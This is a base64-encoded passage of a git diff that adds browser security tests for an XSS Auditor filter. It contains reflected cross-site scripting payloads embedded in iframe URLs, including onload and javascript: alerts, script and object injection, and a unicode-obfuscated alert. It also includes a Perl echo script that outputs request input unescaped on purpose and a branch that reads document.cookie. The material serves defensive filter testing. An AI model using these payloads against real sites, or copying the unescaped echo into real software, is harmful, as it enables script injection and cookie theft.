ZgotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9qYXZhc2NyaXB0LWxpbmstb25lLXBsdXMtb25lLWV4cGVjdGVkLnR4dApAQCAtMCww
ICsxLDMgQEAKK0NPTlNPTEUgTUVTU0FHRTogbGluZSAxOiBSZWZ1c2VkIHRvIGV4ZWN1dGUgYSBK
YXZhU2NyaXB0IHNjcmlwdC4gU291cmNlIGNvZGUgb2Ygc2NyaXB0IGZvdW5kIHdpdGhpbiByZXF1
ZXN0LgorCisKZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9qYXZhc2NyaXB0LWxpbmstb25lLXBsdXMtb25lLmh0bWwgYi9MYXlvdXRUZXN0cy9o
dHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9u
ZS5odG1sCm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAuLjZjYzRmZjVlMjViNzYyNTg4M2RlZjMxMWE4ZmI5Yzc5YWNhYzVi
NDEKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hz
c0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS5odG1sCkBAIC0wLDAgKzEsMTYg
QEAKKzwhRE9DVFlQRSBodG1sPgorPGh0bWw+Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAod2luZG93
LmxheW91dFRlc3RDb250cm9sbGVyKSB7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFz
VGV4dCgpOworICAgIGxheW91dFRlc3RDb250cm9sbGVyLndhaXRVbnRpbERvbmUoKTsKKyAgICBs
YXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2Ny
aXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNyYz0naHR0cDovL2xvY2FsaG9zdDo4MDAw
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWctY2xpY2stYW5kLW5v
dGlmeS5wbD9lbG1pZD1hbmNob3JMaW5rJnE9JTNDYStpZCUzRGFuY2hvckxpbmsraHJlZiUzRGph
dmFzY3JpcHQlM0FhbGVydCUyOC9YU1MvJTI5JTNFdGVzdCUzQy9hJTNFJz4KKzwvaWZyYW1lPgor
PC9ib2R5PgorPC9odG1sPgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL29wZW4tYXR0cmlidXRlLWJvZHktZXhwZWN0ZWQudHh0IGIvTGF5b3V0
VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tYXR0cmlidXRlLWJvZHkt
ZXhwZWN0ZWQudHh0Cm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAuLjMxNWYxMDYxYmFkMmIxMDYyZTkxNGVlMDM5YTIxNDk3
M2VjZjk3YTQKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3Ivb3Blbi1hdHRyaWJ1dGUtYm9keS1leHBlY3RlZC50eHQKQEAgLTAsMCAr
MSwyIEBACitBTEVSVDogL1hTUy8KKwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0
cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tYXR0cmlidXRlLWJvZHkuaHRtbCBiL0xheW91dFRl
c3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWF0dHJpYnV0ZS1ib2R5Lmh0
bWwKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMC4uYWRhY2EwNmNlNWM5MWJkNzg1MzMwZDIyZGFmYWViMWEwODlkMjY3MAot
LS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVk
aXRvci9vcGVuLWF0dHJpYnV0ZS1ib2R5Lmh0bWwKQEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBF
IGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlwdD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENv
bnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlv
dXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0
PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNyYz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8tcHJvcGVydHkucGw/cT0lMjIlMjBvbmxv
YWQ9YWxlcnQoL1hTUy8pLy8iPgorPC9pZnJhbWU+Cis8L2JvZHk+Cis8L2h0bWw+CmRpZmYgLS1n
aXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1ldmVu
dC1oYW5kbGVyLWlmcmFtZS1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1ldmVudC1oYW5kbGVyLWlmcmFtZS1leHBlY3RlZC50eHQK
bmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMC4uMzE1ZjEwNjFiYWQyYjEwNjJlOTE0ZWUwMzlhMjE0OTczZWNmOTdhNAotLS0g
L2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9vcGVuLWV2ZW50LWhhbmRsZXItaWZyYW1lLWV4cGVjdGVkLnR4dApAQCAtMCwwICsxLDIgQEAK
K0FMRVJUOiAvWFNTLworCmRpZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3Ivb3Blbi1ldmVudC1oYW5kbGVyLWlmcmFtZS5odG1sIGIvTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJh
bWUuaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwLi4zYjQ2NjZlYjEyY2U5OGMyODRkY2U1ZDZmMjJlNmFmMGJmNjYy
YzI5Ci0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJhbWUuaHRtbApAQCAtMCwwICsxLDE1IEBA
Cis8IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5s
YXlvdXRUZXN0Q29udHJvbGxlcikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0
KCk7CisgIGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOwor
fQorPC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxo
b3N0OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9x
PTxpZnJhbWUlMjBvbmxvYWQ9YWxlcnQoL1hTUy8pLy8iPgorPC9pZnJhbWU+Cis8L2JvZHk+Cis8
L2h0bWw+CmRpZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3Ivb3Blbi1pZnJhbWUtc3JjLWV4cGVjdGVkLnR4dCBiL0xheW91dFRlc3RzL2h0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWlmcmFtZS1zcmMtZXhwZWN0ZWQudHh0Cm5ldyBm
aWxlIG1vZGUgMTAwNjQ0CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAuLjhkMWM4YjY5YzNmY2U3YmVhNDVjNzNlZmQwNjk4M2UzYzQxOWE5MmYKLS0tIC9kZXYv
bnVsbAorKysgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Bl
bi1pZnJhbWUtc3JjLWV4cGVjdGVkLnR4dApAQCAtMCwwICsxIEBACisgCmRpZmYgLS1naXQgYS9M
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1pZnJhbWUtc3Jj
Lmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1p
ZnJhbWUtc3JjLmh0bWwKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uMzNiOGNkN2QxYWVhZTg3YjJlY2MzOWExNWY0MzQ4
ZTEwM2JkYjA0MQotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2Vj
dXJpdHkveHNzQXVkaXRvci9vcGVuLWlmcmFtZS1zcmMuaHRtbApAQCAtMCwwICsxLDE1IEBACis8
IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlv
dXRUZXN0Q29udHJvbGxlcikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7
CisgIGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQor
PC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0
OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnNwYW4ucGw/cT08aWZy
YW1lJTIwc3JjPWphdmFzY3JpcHQ6YWxlcnQoMSklM0IvLz4iPjwvaWZyYW1lPgorPGlmcmFtZSBz
cmM9Imh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9l
Y2hvLWluc3Bhbi5wbD9xPTxpZnJhbWUlMjBzcmM9amF2YXNjcmlwdDphbGVydCgxKSUzQi8vIj48
L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAv
dGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLXNjcmlwdC1zcmMtZXhwZWN0ZWQudHh0IGIv
TGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tc2NyaXB0LXNy
Yy1leHBlY3RlZC50eHQKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uYmFjOWM3MTRkNGE3OTMwMDUzYWVlOWFhOGEzMTFk
YjJlNGMxYWYzYgotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2Vj
dXJpdHkveHNzQXVkaXRvci9vcGVuLXNjcmlwdC1zcmMtZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEg
QEAKKyAgIApkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NB
dWRpdG9yL29wZW4tc2NyaXB0LXNyYy5odG1sIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL29wZW4tc2NyaXB0LXNyYy5odG1sCm5ldyBmaWxlIG1vZGUgMTAwNjQ0
CmluZGV4IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAuLjY1ZjM3MzQw
MGRkYTAxY2I2ODA1NmZjMjJhNmNjOWY2NTdhMmE4YjUKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlv
dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1zY3JpcHQtc3JjLmh0
bWwKQEAgLTAsMCArMSwxNyBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNj
cmlwdD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENv
bnRyb2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRp
dG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1l
IHNyYz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2Vz
L2VjaG8taW5zcGFuLnBsP3E9PHNjcmlwdCUyMHNyYz1odHRwOi8vMTI3LjAuMC4xOjgwMDAvc2Vj
dXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMveHNzLmpzPz4iPjwvaWZyYW1lPgorPGlmcmFtZSBz
cmM9Imh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9l
Y2hvLWluc3Bhbi5wbD9xPTxzY3JpcHQlMjBzcmM9aHR0cDovLzEyNy4wLjAuMTo4MDAwL3NlY3Vy
aXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL3hzcy5qcz8iPjwvaWZyYW1lPgorPGlmcmFtZSBzcmM9
Imh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hv
LWluc3Bhbi5wbD9xPTxvYmplY3QlMjBkYXRhPWh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9zZWN1cml0
eS94c3NBdWRpdG9yL3Jlc291cmNlcy94c3MuanM/PiI+PC9pZnJhbWU+Cis8aWZyYW1lIHNyYz0i
aHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8t
aW5zcGFuLnBsP3E9PG9iamVjdCUyMGRhdGE9aHR0cDovLzEyNy4wLjAuMTo4MDAwL3NlY3VyaXR5
L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL3hzcy5qcz8iPjwvaWZyYW1lPgorPC9ib2R5PgorPC9odG1s
PgpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L3Jlc291cmNlcy9lY2hvLWluc3Bhbi5wbCBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnNwYW4ucGwKbmV3IGZpbGUgbW9kZSAxMDA3
NTUKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uMzJiODI4
NzYyNmZmOTc1OWE1YmU4NWIxZTAyNDZlYWQ2YjY4MWVhMQotLS0gL2Rldi9udWxsCisrKyBiL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1p
bnNwYW4ucGwKQEAgLTAsMCArMSwxNyBAQAorIyEvdXNyL2Jpbi9wZXJsIC13VAordXNlIHN0cmlj
dDsKK3VzZSBDR0k7CisKK215ICRjZ2kgPSBuZXcgQ0dJOworCitwcmludCAiQ29udGVudC1UeXBl
OiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcblxuIjsKKworcHJpbnQgIjxodG1sPlxuIjsKK3By
aW50ICI8aGVhZD5cbiI7CitwcmludCAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBj
b250ZW50PSJ0ZXh0L2h0bWw7Y2hhcnNldD1VVEYtOCI+XG4nOworcHJpbnQgIjwvaGVhZD5cbiI7
CitwcmludCAiPGJvZHk+XG4iOworcHJpbnQgIjxzcGFuPiIKK3ByaW50ICRjZ2ktPnBhcmFtKCdx
Jyk7CitwcmludCAiPC9zcGFuPmhpIHRoZXJlPHNjcmlwdD5oZWxsbz0xOzwvc2NyaXB0PlxuIjsK
K3ByaW50ICI8L2JvZHk+PC9odG1sPlxuIjsKZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAv
dGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbCBiL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1p
bnRlcnRhZy5wbAppbmRleCA3ZjQzMDE5YmQyOGFhZTU1OTk0YzJiNTA4N2JmOWYxY2YyZTRjYjhm
Li4yOWVhZjE3ZjM3OTY1NmNkMjc3YzNiMWI0ZDM2NDk1ZTQ5NmIzY2QyIDEwMDc1NQotLS0gYS9M
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8t
aW50ZXJ0YWcucGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRp
dG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLnBsCkBAIC0zOCw1ICszOCw4IEBAIGlmICgkY2dp
LT5wYXJhbSgnbm90aWZ5RG9uZScpKSB7CiBpZiAoJGNnaS0+cGFyYW0oJ2VuYWJsZS1mdWxsLWJs
b2NrJykpIHsKICAgICBwcmludCAiPHA+SWYgeW91IHNlZSB0aGlzIG1lc3NhZ2UgdGhlbiB0aGUg
dGVzdCBGQUlMRUQuPC9wPlxuIjsKIH0KK2lmICgkY2dpLT5wYXJhbSgnYWxlcnQtY29va2llJykp
IHsKKyAgICBwcmludCAiPHNjcmlwdD5hbGVydCgnY29va2llOiAnICsgZG9jdW1lbnQuY29va2ll
KTsgZG9jdW1lbnQuY29va2llID0gJ3Rlc3Rjb29raWU9cmVtb3ZlOyBtYXgtYWdlPS0xJzs8L3Nj
cmlwdD5cbiI7Cit9CiBwcmludCAiPC9ib2R5PlxuIjsKIHByaW50ICI8L2h0bWw+XG4iOwpkaWZm
IC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Njcmlw
dC10YWctd2l0aC1mYW5jeS11bmljb2RlLWV4cGVjdGVkLnR4dCBiL0xheW91dFRlc3RzL2h0dHAv
dGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtZmFuY3ktdW5pY29kZS1l
eHBlY3RlZC50eHQKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uMzE1ZjEwNjFiYWQyYjEwNjJlOTE0ZWUwMzlhMjE0OTcz
ZWNmOTdhNAotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtZmFuY3ktdW5pY29kZS1leHBlY3RlZC50eHQK
QEAgLTAsMCArMSwyIEBACitBTEVSVDogL1hTUy8KKwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1mYW5jeS11bmlj
b2RlLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2Ny
aXB0LXRhZy13aXRoLWZhbmN5LXVuaWNvZGUuaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRl
eCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi5iYmZhNDZmZDQ4NjE0
NDBlZmM3ODcwNWU3NWQ4YmUxMGIzM2Y5MTVmCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1mYW5jeS11
bmljb2RlLmh0bWwKQEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxo
ZWFkPgorPHNjcmlwdD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5
b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5z
ZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+
Cis8aWZyYW1lIHNyYz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3Iv
cmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw/cT08c2NyaXB0PiV1MDA2MWxlcnQoL1hTUy8pPC9z
Y3JpcHQ+Ij4KKzwvaWZyYW1lPgorPC9ib2R5PgorPC9odG1sPgpkaWZmIC0tZ2l0IGEvTGF5b3V0
VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1pbnZh
bGlkLXVybC1lbmNvZGluZy1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWludmFsaWQtdXJsLWVuY29kaW5nLWV4
cGVjdGVkLnR4dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwLi41MTNlMmY4ZDAzZjc0MjAzYTM1ZTBiZWVkMWZkNDNiNDMy
OTJkYzJmCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0
eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1pbnZhbGlkLXVybC1lbmNvZGluZy1leHBlY3Rl
ZC50eHQKQEAgLTAsMCArMSwzIEBACitDT05TT0xFIE1FU1NBR0U6IGxpbmUgMTogUmVmdXNlZCB0
byBleGVjdXRlIGEgSmF2YVNjcmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlwdCBmb3Vu
ZCB3aXRoaW4gcmVxdWVzdC4KKworCmRpZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWludmFsaWQtdXJsLWVuY29kaW5n
Lmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0
LXRhZy13aXRoLWludmFsaWQtdXJsLWVuY29kaW5nLmh0bWwKbmV3IGZpbGUgbW9kZSAxMDA2NDQK
aW5kZXggMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uOWJmYjBiNTBh
ZDBiOWE0MTc1MzdjNWMzZjA0MGEwMjFhN2E1YTk2OQotLS0gL2Rldi9udWxsCisrKyBiL0xheW91
dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtaW52
YWxpZC11cmwtZW5jb2RpbmcuaHRtbApAQCAtMCwwICsxLDE1IEBACis8IURPQ1RZUEUgaHRtbD4K
KzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxl
cikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7CisgIGxheW91dFRlc3RD
b250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+Cis8L2hl
YWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkv
eHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9xPTxzY3JpcHQ+YWxlcnQoL1hT
UyUvKTwvc2NyaXB0PiI+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KZGlmZiAtLWdpdCBh
L0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdp
dGgtc291cmNlLWRhdGEtdXJsLWV4cGVjdGVkLnR4dCBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLWRhdGEtdXJsLWV4cGVj
dGVkLnR4dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwLi41MTNlMmY4ZDAzZjc0MjAzYTM1ZTBiZWVkMWZkNDNiNDMyOTJk
YzJmCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1zb3VyY2UtZGF0YS11cmwtZXhwZWN0ZWQudHh0CkBA
IC0wLDAgKzEsMyBAQAorQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0
ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGlu
IHJlcXVlc3QuCisKKwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0
eS94c3NBdWRpdG9yL3NjcmlwdC10YWctd2l0aC1zb3VyY2UtZGF0YS11cmwuaHRtbCBiL0xheW91
dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291
cmNlLWRhdGEtdXJsLmh0bWwKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC4uNWYyY2E4ZjAwMjRjMTg2Nzc2YjIzZWYxNzRh
MjM2NDYyZjUzNzU4OQotLS0gL2Rldi9udWxsCisrKyBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLWRhdGEtdXJsLmh0bWwK
QEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlw
dD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRy
b2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9y
RW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNy
Yz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2Vj
